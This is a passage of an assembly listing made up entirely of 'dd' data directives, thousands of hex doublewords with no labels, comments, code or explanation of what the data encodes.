		dd 0A7FAD687h, 57D57D2Eh, 204ECC6Bh, 0C4A18F4Bh, 0CB42FAAh
		dd 3175CF5Eh, 1B770917h, 0D1F24BDCh, 5408CCA4h,	0B55896BDh
		dd 77BE0D30h, 3360089Ch, 0A16C2928h, 86F8CDD8h,	9D0CC072h
		dd 0C171E449h, 8C07E724h, 5C337E10h, 6DCA8764h,	618934C9h
		dd 73C38EDh, 6F617D97h,	9FE71F2h, 73F32200h, 0E13D170h
		dd 7BBD3F7h, 0CB32C241h, 1409D0F0h, 8F496759h, 8804500Bh
		dd 0C1FE58E6h, 7E969251h, 15092A30h, 7AF4E701h,	491ADD76h
		dd 0B2E56DA0h, 0FA3ED625h, 50C8E56h, 847D47BAh,	85ACED9Dh
		dd 0FDC9E0E9h, 0ADE9B39Dh, 686627D0h, 9E6E7460h, 5C604953h
		dd 6903E3B8h, 3F35708Ah, 0F49FA39Bh, 0FF1352ADh, 83C64132h
		dd 2B2B102Fh, 0E92A30CBh, 0B14470Fh, 0C627E668h, 87E33254h
		dd 522A09E9h, 760173A8h, 687D4C3Bh, 0CD6A6C0Ch,	3A31F83Fh
		dd 0B8161D01h, 19FD43D2h, 5025F3Ch, 72D34AABh, 6F598162h
		dd 0F02775ACh, 0E9024468h, 839A9055h, 0B71C04B6h, 690C0242h
		dd 89589C82h, 2BFB0555h, 5BE8C756h, 0FA1EC14Bh,	99D83E99h
		dd 31345B42h, 64C5E9CFh, 70D2D8Dh, 96663B98h, 0ACD77362h
		dd 27575946h, 4B7FFC59h, 969DE6FAh, 26E12790h, 0F691FC46h
		dd 5C0001A8h, 810DB031h, 3701C9CBh, 604047F0h, 0B8E1E849h
		dd 0D87BA209h, 9045C31h, 4ADE4401h, 0F26D2962h,	9363982h
		dd 0F1811000h, 40C6012Dh, 0F00C9ECh, 0F7450A13h, 4017E9D1h
		dd 95F25D6Fh, 93984072h, 0C867A00h, 0E9E88987h,	9A6C5498h
		dd 97B23C52h, 161A5790h, 8600D828h, 8EFC098h, 0B0C77980h
		dd 510CB89h, 3A0BDB8Dh,	722524B2h, 742D9CF2h, 72CFD4BEh
		dd 64A51D59h, 0DAB72064h, 90B5D283h, 519EB21Fh,	0F6D5881Ch
		dd 59EA00BAh, 0E9BFC280h, 0ACE04AA1h, 21FAD20Ah, 4DCC2BCh
		dd 5CB553A4h, 0E72D6385h, 0A3095D56h, 63997FD9h, 986FA44Fh
		dd 21DAB502h, 5D057DCBh, 0ADB00E49h, 0AAD4128Eh, 4DE10478h
		dd 8028B964h, 5A3DD84Bh, 6ECFC4Ah, 43105112h, 60152DE7h
		dd 0DDE829A1h, 1A0EAD05h, 10D2D454h, 0CBF44E2Ah, 0A3FD5EFAh
		dd 685C8145h, 0CC6A7DADh, 3802FBB2h, 3AE97311h,	0AD9AD1CDh
		dd 0EA8A627Eh, 52801908h, 55126CBAh, 0A3505F1Dh, 20C058E3h
		dd 0CAACA0E2h, 4229819Ch, 90DF2D81h, 0B7E8DDE3h, 11084965h
		dd 56B5026Eh, 0B5818DB2h, 0F8EA28B7h, 0F382BDF8h, 0B4CB89CFh
		dd 68429576h, 0E966CBB0h, 0FE3881A2h, 36632DC4h, 776001C4h
		dd 48B95AC6h, 0E990C861h, 0D699A66Bh, 5B1082D7h, 0BC816CD1h
		dd 600D2948h, 0E7BE83AAh, 27FA0296h, 1C3B2CAh, 4D45841h
		dd 5DAA01C0h, 0EB0E6F21h, 0F58AA7DCh, 5A17B263h, 52265B7Ah
		dd 0EF70AC58h, 0E95EA832h, 5D735B77h, 97F7CB3Eh, 2B799A48h
		dd 5F391B0Fh, 0B10EA54Fh, 9EF9BFD5h, 5A96A65Eh,	75BD3253h
		dd 0EC8C08F4h, 0D4FD2D13h, 109E5F2Ch, 0D0A95A80h, 3AA2C603h
		dd 0EEB06BFCh, 6C2D6AC1h, 25937813h, 706C1E4Eh,	0C6B24095h
		dd 652A037Fh, 2E6C15Eh,	0DA7D2A2Dh, 0F36F2013h,	0EB25F4Bh
		dd 5A9FACBh, 914AEF79h,	0B86855C1h, 9732447Bh, 0E07F9814h
		dd 2EEE200Ch, 587B45Eh,	83619A72h, 0C9E606C6h, 0BA018DD5h
		dd 20FD5478h, 0B8F4D389h, 241AC0A7h, 83D34AEh, 0C9430795h
		dd 0FB0BD2E2h, 0B85192BAh, 965CAC72h, 8BDF5A8Bh, 0C21C57F6h
		dd 0C1DDBA20h, 9AB08322h, 0DFB951ADh, 9EA27C02h, 29749C09h
		dd 0CE961914h, 0FC41136Ah, 0CC9F12CCh, 6106BAE4h, 53F559DFh
		dd 1940C683h, 0FB9F5DE8h, 0A3570B83h, 23CEA0A7h, 0ECD25AF7h
		dd 1EBDC950h, 59C29895h, 3CC4B0B6h, 0B972980Bh,	0EACBA097h
		dd 4A3E9404h, 0BB42847Bh, 6838762Dh, 0E90B61D3h, 0C127242Eh
		dd 0F708EE0Ah, 0A2158DD6h, 0C1F9350h, 0BC40FC53h, 191C34BFh
		dd 0A492B07Eh, 0BB298E3h, 45F21D05h, 8A020FEh, 2932ADACh
		dd 66FD4CFBh, 855F5E73h, 1F3DAA46h, 908B727Dh, 84B97459h
		dd 51E268F7h, 547D31EAh, 0E0D3017Fh, 50C12272h,	7A8BEAE9h
		dd 73127C8Ah, 9137FABCh, 5A0B41FFh, 0E7C253Dh, 7C32578h
		dd 6EFF4620h, 314B7CA6h, 977EDEB8h, 36E02F42h, 6DF145D4h
		dd 0CE153CCFh, 98273CB3h, 50E24EE8h, 46BFB5FCh,	12DDF055h
		dd 366AA1Fh, 7853E7F0h,	6AF71DE1h, 325537A0h, 30482818h
		dd 0D925AAD4h, 10671BC1h, 0B12DCEBh, 0D2E2F831h, 85B48A20h
		dd 4F320C2h, 0A5708142h, 5E4A04DDh, 0D81325B7h,	2C09AD8h
		dd 28932D01h, 72547B05h, 12476558h, 0F029C319h,	0BA413481h
		dd 33B42h, 25F2F681h, 89C4C91Eh, 0BE565E40h, 36FF38A3h
		dd 0F412090Dh, 0AF6F510Eh, 6AEFC050h, 0B5312288h, 0C2918AC0h
		dd 0F01754DCh, 542551FDh, 0C86B7CDBh, 8169CD98h, 5B07059h
		dd 0C858D798h, 19B9D69Ch, 0C04F0D7h, 97246E9Dh,	52976F64h
		dd 295C4EBEh, 0C1DEFC17h, 3CB11EC3h, 6EECB580h,	56D4905Bh
		dd 7AB5F928h, 524959C0h, 0E448F84Ah, 5B66055Fh,	28EFF864h
		dd 0A19551CFh, 55E987E8h, 0BD040635h, 37A28AFEh, 0F31F245Dh
		dd 97B44347h, 56A9C482h, 0BB524571h, 0E22B7C79h, 4AB89305h
		dd 75A9E982h, 0E5044672h, 3C332F2h, 0F9712EFh, 0DFA54FA9h
		dd 0A431826Fh, 28C7B001h, 0C6CD6761h, 5E979342h, 0ACEF8153h
		dd 6A73675Eh, 80459D4h,	0B1907DE9h, 9B515A66h, 91AC88B3h
		dd 0C8BE0F00h, 9B6A1868h, 663E09B2h, 9E97354h, 189E7DB1h
		dd 68590D90h, 0F84A2589h, 0BD550393h, 6E635C0Ah, 0E906E00Bh
		dd 556E62D5h, 0E4107348h, 4CC811CFh, 165308C1h,	0F2200D68h
		dd 0F749C96Fh, 0D759BC09h, 2CB4FABDh, 2F727225h, 0C0681088h
		dd 612C5C4Bh, 1302AF77h, 8045A60Fh, 0D0276BB4h,	8F2B7AFh
		dd 0FC034A5Bh, 9F54F780h, 4716129Fh, 5B7EB08h, 0EB58C588h
		dd 0EA648D09h, 6FD68029h, 0BE62E26Ch, 19120054h, 5A67052Dh
		dd 2935C90Bh, 0E13257C6h, 0EB1002D7h, 557E8996h, 5E25A216h
		dd 760EE9ADh, 7C6C36E4h, 0D23CF54Bh, 656B3475h,	78D9BA0Ah
		dd 0A0B3813Eh, 0D101F053h, 0B0E910C8h, 55C06829h, 805E4CB7h
		dd 2C7EE196h, 88FA6C4Ch, 5609EA17h, 9EFA95Bh, 1FF2535h
		dd 0ABB164AEh, 5B66D32Ch, 86184A09h, 1B73ADC9h,	29E30A18h
		dd 0A0D99F04h, 7B773560h, 0C12E00B9h, 12D07E0h,	0E1314B5Ch
		dd 0A8808E29h, 0E884957Bh, 46F84F1Fh, 50458A4Bh, 989D643Dh
		dd 82A190D7h, 520D1AF6h, 0F0C126B6h, 57E15502h,	0E0A62E18h
		dd 0BC972F79h, 0D0A474D3h, 48C1AD3Eh, 25B6C250h, 75785268h
		dd 7747CA9Dh, 6BCFAEC1h, 40F7140Fh, 0D539290Dh,	350EC03Ah
		dd 151F0988h, 9AC58927h, 21B68061h, 0B5124E5Dh,	28088D28h
		dd 9776795Dh, 0EA2864D3h, 0B75FD097h, 0D9C2DB30h, 37753F1Ah
		dd 9F82608Eh, 74262779h, 5C20D9F8h, 0EF891C8Dh,	87FE45Dh
		dd 293FD6BFh, 0A73DFA21h, 584EC199h, 0D2FFB27Ah, 853405EFh
		dd 680691A1h, 0DDA66F01h, 0F497AC4Ah, 0F2C684AAh, 0CBB99266h
		dd 32E73717h, 1AF55823h, 0AC45D507h, 50E25BBFh,	1C11FAD8h
		dd 0F41FA42Dh, 0E95284F6h, 6B3FE158h, 84309ECFh, 808EB61Eh
		dd 9AECE65Ah, 0F3887F0Fh, 0BC9483EAh, 0C585D5BFh, 0A2E830D2h
		dd 51668395h, 0B5061353h, 0BA27138Ch, 577C272Dh, 766DDA11h
		dd 0B516A64Eh, 6EE52DFAh, 0D810ECCAh, 0BCF85B91h, 6FE646D8h
		dd 2D283FB9h, 0AB16E1E6h, 29BA0D74h, 0DF44E65Bh, 37633732h
		dd 1A00F7E7h, 6A1E4033h
		dd 0E1C0B7A8h, 208B8D4Ch, 9BB6F29Fh, 357E250Fh,	80FDB201h
		dd 0B547D3E2h, 0B969E44Ah, 57E6ECA6h, 0BB7B2CEh, 0EA27F99h
		dd 2B0F1D16h, 0D1513152h, 958692F8h, 284F11Ah, 1729B6E5h
		dd 75BA080Eh, 91DCEA8Bh, 5B7E9055h, 0B5AE419Ah,	7E44952Ch
		dd 0B768ACD0h, 51989519h, 81314910h, 68EB3A21h,	7F83AD00h
		dd 0FAF566B0h, 5F5AB7D8h, 459461F7h, 7D48A92Fh,	58795DEEh
		dd 44BF1325h, 5B3BF052h, 0C65BAC7Ah, 402193BCh,	0D753CD3Ch
		dd 178B34B1h, 0EF348516h, 4DA21187h, 48D0FE1Fh,	66D403C6h
		dd 93F279BBh, 4824AE76h, 471C05C0h, 0E9340966h,	277EC632h
		dd 5B338984h, 4D36BECh,	44420E5h, 0ACA557E9h, 0B7CA43Bh
		dd 482F6245h, 2D00AAFFh, 0FBF55C6h, 5D02801h, 0F85A5A07h
		dd 45E9C314h, 0F27F2FF1h, 689E4DE1h, 5B794EF1h,	0A737966Bh
		dd 0B179609Fh, 2C3AC592h, 0CE03873Eh, 5A7A093h,	0C2A906CEh
		dd 0C0287FEBh, 9E72E53Dh, 24E2813Fh, 2F645D53h,	1A0EE802h
		dd 24497011h, 0B08DEF7h, 9C77BD02h, 625748A4h, 2AD6D12Dh
		dd 7DFDE906h, 89F7062Bh, 0C526520h, 231B460Bh, 97B87061h
		dd 54D6B4E2h, 0B0120758h, 0D909B760h, 9551EA0Ch, 0C53188C4h
		dd 9DF70313h, 0BA819673h, 0E90B8999h, 92057E0Dh, 5039B0E0h
		dd 6BEF9F51h, 5B4D79E4h, 0BC7D56ACh, 1825998h, 4C8F6445h
		dd 4EFCEE83h, 7FA22CE9h, 53547B1h, 691C82CBh, 0CE30C3CCh
		dd 0FCEDEFBBh, 9C4E2CA0h, 78953EE7h, 0C71CE5B9h, 0EDFBDC53h
		dd 2191360h, 9FFDA84Ah,	0CF2559Fh, 27332E5Ch, 5E7C5E81h
		dd 75B00D0Bh, 20F85601h, 0F91CD608h, 0E2E90BDCh, 6BB6710Bh
		dd 2091060Dh, 607B8A9Ah, 12A0F58h, 102A2EE4h, 6B41F289h
		dd 316AB97Ah, 16D23844h, 0F751954Ch, 0AF1B45C9h, 0E9789256h
		dd 3B139174h, 2910B205h, 0C8F0042Bh, 0F50807B7h, 1A5453DEh
		dd 96F13F5Dh, 6AC0662h,	44DF5E9Ah, 953C2DB7h, 103C0DD9h
		dd 11505EDh, 5789B5D7h,	3C5CFDD4h, 526B84E9h, 0D9361B55h
		dd 54366433h, 13A57C10h, 0C2B5DE68h, 9BEFE004h,	9FE909D9h
		dd 0F69312DCh, 0BA5896E5h, 14EA2012h, 304AF60Ch, 2AA468BDh
		dd 4160DBB7h, 894F2E68h, 0F7C4DA5Fh, 0CDF9A714h, 0BF189FEFh
		dd 5B057501h, 826EE7D1h, 0CD46D779h, 0AAD270E7h, 2D82B14h
		dd 398B30BCh, 0C46A0DB2h, 8D7E824Ch, 92ACE00Ah,	4F11F195h
		dd 4B62C48Bh, 757A4FDEh, 49A06ECCh, 0D92C3720h,	602D6463h
		dd 151C957h, 89BA2C6Ch,	61E3951Fh, 6EC920A8h, 2525479Dh
		dd 73F0579h, 0D042DAE6h, 801BA90Bh, 0E43F5287h,	15E981Dh
		dd 51A96EF3h, 2001C283h, 7D04F4C5h, 0D329198Bh,	0B354DFE4h
		dd 88E6A122h, 0D025E6F6h, 8E689764h, 8B2D5AF5h,	0C3A37043h
		dd 1E5732C6h, 40D02202h, 736936E9h, 0F32882F6h,	6C15A66h
		dd 39017F97h, 9291D1F7h, 0B79C5E30h, 13BF0A6Ch,	2DD604EBh
		dd 8116180Ch, 21F3D73Ch, 2A076584h, 0E62ADAD9h,	45CB5A23h
		dd 25BE7210h, 2690B45Ah, 8DC720E9h, 0D2B4D589h,	9FC37D60h
		dd 71B45D81h, 8968B4EAh, 0A0BAE550h, 1AFE3016h,	304DA08h
		dd 7B58016Eh, 1B8C0C07h, 589D82F8h, 0F23A0271h,	5C53D643h
		dd 0A8CE52EEh, 0E8E9824Eh, 0A8DE4B5Eh, 0C951A204h, 0ACD97F24h
		dd 69B5CE81h, 0C79755E9h, 8353FAB9h, 0A02D164Fh, 130B202h
		dd 70551D8h, 8555893Bh,	0BA68576Fh, 985402F0h, 5A884045h
		dd 74491CF8h, 6E6D37Fh,	0AF539D24h, 0F4273A56h,	0F757849Ah
		dd 608CEB14h, 56CF40B6h, 7963CAC1h, 60F07E92h, 0F39BAC0h
		dd 27403E1Ch, 8061B44Ch, 283D51ECh, 0E2FA2DCEh,	5416DF04h
		dd 1CC26A96h, 2F99E5F3h, 0EC7D51C2h, 8C6FF18Eh,	0F7488037h
		dd 40B613ABh, 0EE6B02EFh, 0CB5E2845h, 309C180Bh, 8268AD28h
		dd 0BD845C0h, 819D73BDh, 0CB9565BBh, 39C12FC5h,	96E7EE9h
		dd 59894F0Ah, 4EAD4F01h, 0F7B57BF7h, 0E0D41280h, 0FE010B8Bh
		dd 9C3E5F48h, 0DF6CE2A5h, 0AC678340h, 0FD834C95h, 8C66506Fh
		dd 2DA1A644h, 55586AC5h, 937F140Bh, 3B40B1Dh, 97120139h
		dd 8051CCDh, 14123484h,	0BA1816BEh, 57C5A62Ch, 3627A202h
		dd 0F6815374h, 516E4268h, 80A02A70h, 0ED0B2D5Ah, 529A957h
		dd 2DFED847h, 3CE1F5A8h, 585D1FFDh, 3F51847Fh, 65C02603h
		dd 614F119Ah, 58D4184Bh, 0FA74288h, 9AB772D8h, 8B07BECh
		dd 30167595h, 63D0BC09h, 7DCE82A0h, 8A9E66E4h, 80ED8309h
		dd 712AF59Bh, 50052D41h, 0A54F707Ch, 47BE2DD0h,	0E3575ADAh
		dd 0F776C56Eh, 9B67CF07h, 625B292Dh, 0A8ABF508h, 0AEF83304h
		dd 8104F885h, 7D1FF424h, 78742DADh, 0E6B8FEB2h,	28595FC9h
		dd 3096E846h, 533B8E10h, 54708512h, 0C459510Ah,	0E94970D7h
		dd 45BD88FBh, 429F9604h, 4CF58081h, 1C08C7F4h, 42B10311h
		dd 40FD1F6h, 0C52CB050h, 4AB7F254h, 0AE17D33Eh,	8BF45DAFh
		dd 98FFB122h, 2D738419h, 64C832F4h, 592F4DAAh, 4EF7FC09h
		dd 5D890C94h, 52023D16h, 2114DD68h, 0E976907Ch,	6F866144h
		dd 71315EF7h, 0E1002B3Ch, 0B41FA2F1h, 0C1832A3Eh, 0BDB50BD6h
		dd 0FC5E9D5Eh, 122D3Ch,	0F1295A7Fh, 4ECE7B87h, 46EDE04Eh
		dd 11E99612h, 0FC88BE44h, 0D3103C81h, 10D27962h, 6810CB12h
		dd 840F0989h, 50AD6048h, 31C79752h, 4D716B0Dh, 92C45DF2h
		dd 17B86130h, 372E38EAh, 745C2319h, 895103A3h, 5FC396D1h
		dd 5A050139h, 6E0EE8C1h, 41C70EB0h, 522289F9h, 0B5BC77A9h
		dd 2678FA1h, 99854380h,	0A2115CDh, 95EE7230h, 0B8C3D6C2h
		dd 0B0E2F27h, 0B9B6C562h, 278C5309h, 35D58400h,	409D61C5h
		dd 828BF5E0h, 0B4856EE0h, 0F1DC97DFh, 4B3768C5h, 0BC9771FAh
		dd 0EF6B8F5Ah, 6BDD9EC4h, 5FEDC780h, 5E8B3356h,	0F547F234h
		dd 322245EAh, 233BA9Dh,	0EF65408Ah, 51E04CA6h, 5EBF57E0h
		dd 0A187804h, 4EA0ACE9h, 72682F5Ch, 0AB9E0A7Ah,	0AEE6E9E1h
		dd 0DF74F94h, 0FB5D30C5h, 0ED4BBACEh, 0DFFC971Dh, 7DB45080h
		dd 8B01F480h, 0C053B151h, 0F1E403E1h, 0DEF0B591h, 4C1FE36h
		dd 30850C14h, 0FAE59CCh, 0E431D1BDh, 7D662202h,	965AA1A2h
		dd 4F888B51h, 0D58704A1h, 0AA11C131h, 5ADE52D1h, 9E3EF5EBh
		dd 0EC2893BFh, 0CD586EA6h, 84512D4Ah, 74FC6872h, 446F5CA9h
		dd 0CCD2E2B9h, 71B540C4h, 7C206B01h, 47EF80C3h,	0E5F04095h
		dd 0B22580BDh, 1B3B4A01h, 18023635h, 0A321F9C7h, 0AA0F747Fh
		dd 7054CD4Bh, 0C96EB51Ah, 0E8598020h, 9D9E77EBh, 0B2761E02h
		dd 108639F5h, 3526DF09h, 84C4B25Ch, 0D357B4F0h,	4513BB1Fh
		dd 0E9B04DF8h, 0D99F89FDh, 0F87762F0h, 2C71E1DCh, 0B5F65443h
		dd 0FD218604h, 30C36802h, 2A9866F9h, 38A6BF5Fh,	5FFA7B74h
		dd 5D300231h, 6B59C829h, 70600B6Bh, 0A7C3005Bh,	0E940FA0Fh
		dd 85A5BC1Dh, 0E7C85A39h, 878BF1E0h, 4B5E15F9h,	8BA66A69h
		dd 9AB7D7Dh, 0E30BCE7Ch, 8B275694h, 0AC003F41h,	72D6BB53h
		dd 521C2907h, 8F418ABAh, 806F4A55h, 0EB191DC3h,	0E190D1B0h
		dd 0BC30D860h, 0D440A839h, 0F110EA10h, 0CA8107E5h, 1F957148h
		dd 0DB12CC0h, 31012F63h, 485A5CD4h, 4ACC9521h, 6858F1F2h
		dd 0CD5CA3F2h, 0A1677908h, 989508B7h, 0ED05AC1Eh, 29C5722Ch
		dd 0D4F68F43h, 66BEB780h, 700C1ACCh, 25E35F8Bh,	6AB4DD25h
		dd 5B5905B4h, 821F27A7h, 0CEFFC408h, 7310B7B5h,	59B6F9A5h
		dd 90015045h, 5B5A30FCh, 3A04E26Ah, 9DC6CCD8h, 0F6D068EFh
		dd 4CB880EDh, 48E33E3Eh
		dd 99541330h, 2B1AABE3h, 41753DC8h, 0E3309A88h,	7BEB7901h
		dd 3F1C905Dh, 293A6A1Bh, 62B010EFh, 9C7AD4Ch, 0F7C08255h
		dd 207B64DBh, 82B769DAh, 9DF36BFh, 2C614F81h, 2868C80Eh
		dd 0B652E805h, 0F416E912h, 292213D0h, 9F3450CCh, 0A86E02CDh
		dd 7F010518h, 0D0CA415Dh, 13EDF32Bh, 77ABF280h,	9233B4D3h
		dd 156B59F5h, 0ECD5806h, 6BC20C8Ah, 8DC20DC9h, 6852BA75h
		dd 0F70AB285h, 6ACAFC71h, 836360C1h, 16A92D74h,	8A0615Ch
		dd 134B2DB0h, 0D2DE99E9h, 0B41A4626h, 0A341AEB6h, 0C4CF9E20h
		dd 0AAE76E5Ch, 0D97BBD39h, 72287FBBh, 0D2399D2h, 2C445709h
		dd 8110D34Ah, 0C5EB18D2h, 3DB18E81h, 0B30E802Eh, 0C1AEE128h
		dd 0CECB58AEh, 89499AD8h, 41681A7Ah, 5002E1F3h,	0B4874CF8h
		dd 6ECE626Eh, 0EB504376h, 0C6D1052Dh, 0BCDE311Dh, 0D4BBA769h
		dd 0D9CB70CFh, 4DBE7F1Fh, 6201E300h, 5AE91B0Ah,	0BF7B8563h
		dd 0BDC3B690h, 9D61851h, 0E5B26E5Ah, 0C9FDF42Ch, 0E7025811h
		dd 77431672h, 0BCA1D88Eh, 3F29D5C1h, 9F51980h, 48234CF4h
		dd 0F125854Ch, 7FD77618h, 9499516h, 0A83E13FBh,	78C38432h
		dd 8315348Dh, 54495100h, 486A65h, 2B4EC305h, 0A30F356Eh
		dd 0DCD8902Fh, 5BCF0CFAh, 5A775F3Ch, 7EA2BD4Dh,	42957098h
		dd 137ADCD3h, 2DB4C091h, 5848FC44h, 0FE73129Eh,	0BA9D834h
		dd 50B1FD10h, 35146C6Ch, 5A379D9h, 70B421A1h, 0CA149500h
		dd 35E98602h, 8281C7E7h, 2D045907h, 0D0328ADh, 7FF0537Bh
		dd 5088C0F9h, 4716E6A3h, 0D2C633Bh, 0C0412EEh, 39387098h
		dd 0D49CA3E9h, 0A85E13h, 0E6760300h, 49CD814Ch,	296F3409h
		dd 0EFABFF4Dh, 16013FD0h, 0E9B980F6h, 4B41A3CAh, 8333D047h
		dd 5A0FDF4Bh, 9EC423C4h, 0F695DCFFh, 270506D2h,	0D3E4A7E2h
		dd 3F0407D3h, 0ABEA0110h, 0BB2C23A5h, 63111C8Eh, 13EE2155h
		dd 0C4AB1256h, 56421694h, 5801A77Ah, 52807AA1h,	4F314CB2h
		dd 0D33EB13Dh, 0B6566F93h, 552D178Ah, 9AC04DFCh, 0BD7AAB15h
		dd 0D4EA6604h, 64B90185h, 0C3E82186h, 20AC5D4Ch, 745C5C87h
		dd 0B0504500h, 343A2C7Ah, 0C3316770h, 0EFE90658h, 0AB66122Bh
		dd 9C5C162h, 0D24F6AE4h, 54E04444h, 7D465B0Bh, 0D25BFAF8h
		dd 0F257DEC8h, 8C754ABEh, 0E44AC0A2h, 571D16B7h, 4C6149BFh
		dd 0D19D9370h, 0FB2989B4h, 471C2EFEh, 0B0F4D06Fh, 15240915h
		dd 0E0444C6h, 22B00792h, 6BC37DB4h, 65777F27h, 5266AB8Bh
		dd 4E81AEC1h, 68007DA7h, 0B29779F2h, 341F82D4h,	704C7F85h
		dd 4F7A784Dh, 0BEE59AA8h, 8888D129h, 91247AB7h,	18FC4808h
		dd 0B06C05Fh, 0F72E57EAh, 0F21F77D2h, 0A8A0F4C4h, 3E735CC7h
		dd 50AEE40Bh, 344B0823h, 0C830EB8Eh, 94C8AF0Fh,	5412096Eh
		dd 2AE4451Ah, 52022C44h, 205A6D54h, 2B3DC1CEh, 0F3815901h
		dd 69A8368Fh, 43B40C6Bh, 121DFD14h, 52C01583h, 3BBE5650h
		dd 7E9F0155h, 17CC48B8h, 50B02BCDh, 4F53E02Dh, 81FA0D5h
		dd 0D3F7931Ch, 4C8483E6h, 56EF7AB3h, 4752BF13h,	0DEAD7E09h
		dd 0FA5397F1h, 42304B09h, 4B40FD8Eh, 0F927788Fh, 3E9EDE43h
		dd 0D8E9313Dh, 591F9751h, 0EF6F9865h, 0F481829Ch, 418A10AEh
		dd 2001C5A0h, 93BFCE90h, 0F058C2EEh, 0DB47BD29h, 262C4525h
		dd 5C3125D2h, 0ADB26E4Bh, 20BCB2C0h, 0E84BE9D7h, 75B9A040h
		dd 733FC17Ah, 0FED60381h, 0A2E9DDF0h, 4B9C8ADDh, 0E2935FB2h
		dd 0E5991606h, 0BD11C2E3h, 0B81E160Fh, 52BA18Dh, 0BDB79445h
		dd 86E610D0h, 2E99FB50h, 1F3EF57h, 0EB13B9BDh, 5D273051h
		dd 25F9E0B5h, 0A84516DBh, 2842AB09h, 0D86D0A9Ah, 352F1D3Bh
		dd 820A13Ch, 0BA95858h,	0B6F9641h, 990F6EFh, 0B0D55AB5h
		dd 0A6518DBCh, 4FB5F0A4h, 0D2ABA342h, 0F1DA61ABh, 92901423h
		dd 28416EBh, 733257Eh, 0A1CA0C43h, 2D29E07Dh, 117018CCh
		dd 8F28E84Ch, 29B3E210h, 27E3F84Eh, 5E1180FBh, 98685756h
		dd 9F137418h, 47716966h, 0A60B1EB8h, 6652A3FAh,	0A8E91804h
		dd 24689203h, 82CD114Bh, 4D26D62h, 17C8F112h, 743DB00Dh
		dd 23C29B01h, 7BE0B82h,	10DC95E9h, 2E0B801h, 48C65016h
		dd 2513707Fh, 0B742148Dh, 31580701h, 89D5C9EAh,	0AE84E908h
		dd 5201A494h, 0CA05B390h, 13AA0FF3h, 0E71CC789h, 3A807BDCh
		dd 0E96EFB69h, 0C45897C6h, 0C27E739Dh, 26F5B0E9h, 9B04DAE5h
		dd 7EA73FBCh, 87578989h, 72B1ED75h, 0BE51B407h,	18283BE9h
		dd 66D00470h, 0E8E42C5Ah, 39954CE4h, 0F6B696F8h, 903072E0h
		dd 567A2EA6h, 39E44EFEh, 7CB5C85Fh, 8CEB88E3h, 0CFBA0151h
		dd 8227AC62h, 5A682FB4h, 83BB603Dh, 6B33E2Eh, 4979EA2Eh
		dd 0CD5D10F5h, 2EE51Fh,	0E8A3D113h, 0D64E01A6h,	0B5EE282Ch
		dd 71427F71h, 2733C8BBh, 0B800862Eh, 57823351h,	77419C2Dh
		dd 56E91786h, 0FCBE4F73h, 0BA6214C5h, 209FAB10h, 0B0D0BC9h
		dd 6556C78h, 765DA9F4h,	0AD9F9135h, 0D7C986FCh,	0C097981Ch
		dd 8B6E432Bh, 0C85DC9DFh, 8250F10Ah, 0A594C07Dh, 0B9E37628h
		dd 13029C34h, 6B23B3C3h, 0BD320726h, 3768E300h,	624E9E44h
		dd 2A0BF98Dh, 0B370214h, 0AEFCFDD5h, 10B9193h, 0F4442ED8h
		dd 5E0AB204h, 23762FC8h, 19CA2FBEh, 0D1C38F81h,	0B4788A16h
		dd 565D53CFh, 9201A47Ah, 68795262h, 4846DF19h, 22BCE927h
		dd 0E2028F74h, 0FC822AC7h, 0E9D1392Eh, 0B36E96C1h, 6DBD02DDh
		dd 4056A46Fh, 2C1E8DDDh, 2F94178h, 70F01FFDh, 4779010Bh
		dd 0AD61A407h, 2768D9E4h, 0C07E04B1h, 0FD9412Dh, 2D002F6Ch
		dd 0E0137FFDh, 1907C681h, 1464F5Fh, 83A0869h, 20C6782Dh
		dd 2C50902Dh, 0C5B5C192h, 51FE253Dh, 0A3AEFBC4h, 59528BAAh
		dd 3C30EB4Ch, 48BFE1F6h, 0C4C9E983h, 0C2F229B3h, 0FE098C33h
		dd 5D3C087Dh, 0F4EA8007h, 0F5CBFAF2h, 70442123h, 0E905394Eh
		dd 0B6E90127h, 6B202105h, 204CEE65h, 10396E45h,	2DB811E9h
		dd 27064BBEh, 6E435E78h, 0AEB53897h, 5B02B6F8h,	4C315A74h
		dd 0D7C95DD9h, 98829916h, 88E91D02h, 0D1E0C770h, 0C63380F0h
		dd 84B906E5h, 0DE7529ACh, 0F331E706h, 0AD3997E1h, 5701AA8Bh
		dd 0E913365Ah, 1132A19h, 0FE875494h, 0F200E18Ah, 68464947h
		dd 53C19D4Ah, 0C2092AC5h, 654257BDh, 0DAD50182h, 132051FAh
		dd 0DF4BA278h, 0D1E9C548h, 0C755A860h, 4FE89523h, 5FA3A868h
		dd 0F7677F81h, 9B0DCD54h, 0F9F9AD24h, 0C187E7F8h, 2DCF53Dh
		dd 5355206Ah, 68DA985Bh, 0FF69894Ch, 98CF5080h,	7512D76Fh
		dd 0E5F4DFF7h, 41010EC7h, 2DF0DFAh, 72B866FCh, 4508BDDEh
		dd 535F1F5Ah, 0FDF004DEh, 0A6D5166Bh, 948582A8h, 0F1E1D74Eh
		dd 0E9553035h, 24D5DEC7h, 51AC71C7h, 5426795Eh,	6752EA6Eh
		dd 56F55D91h, 2C07F005h, 5AB2A25Ch, 99FA6684h, 3E29255Dh
		dd 0EFD052D0h, 4CF73980h, 4F177DF5h, 3AA0D978h,	3DEAF325h
		dd 0BF3C7F11h, 4EF95CF7h, 8BC2742Ch, 12A095A9h,	6E2D30FEh
		dd 7217D0E4h, 56BF486Dh, 5881698h, 0E9505428h, 59B9D0D4h
		dd 0C0D89C75h, 80D342FCh, 0ECBF3433h, 0C14E9D94h, 1720BA90h
		dd 0F0D1D80h, 8B7C9E23h, 0D0105B4Dh, 0BC89F927h, 0A75904F2h
		dd 0B1C4409Ch, 3F49A85Ah, 12835A30h, 0B834F868h, 0B51CC475h
		dd 64C12D00h, 0CFB83133h, 636A3D0Bh, 0A628752Ah, 69EC2708h
		dd 0ED4FE97Ch, 5ACB85E9h, 8E20E8ECh, 0FD666F9Eh, 0AE4D5F25h
		dd 0B7411039h, 0B36174D7h, 1A67C02Bh, 0E9133428h, 0ADCA23h
		dd 20EBA84Eh, 16DA5BCBh
		dd 0D90DC470h, 0F149ECE3h, 0DB58C99Fh, 0FB86664h, 47AA2C1Bh
		dd 0A254584Bh, 640BBF68h, 1E9CD5C6h, 169768E9h,	53FB055Eh
		dd 82364472h, 973BB295h, 0E94E70BFh, 0F397EA92h, 35A7A3B9h
		dd 0E252BE18h, 3CBD108h, 9192DAF7h, 0B6A0E8CAh,	0B8685350h
		dd 51FE121Ah, 4B0B63FEh, 4A8ECFEh, 0E72D327Bh, 0EE1E00BBh
